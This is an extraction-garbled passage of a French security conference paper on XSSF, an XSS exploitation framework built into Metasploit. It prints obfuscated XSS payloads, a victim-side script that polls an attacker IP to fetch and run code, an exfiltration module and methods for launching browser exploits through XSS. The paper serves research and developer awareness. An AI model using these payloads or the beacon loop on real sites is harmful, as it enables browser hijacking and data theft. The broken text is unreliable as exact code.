eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 7: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

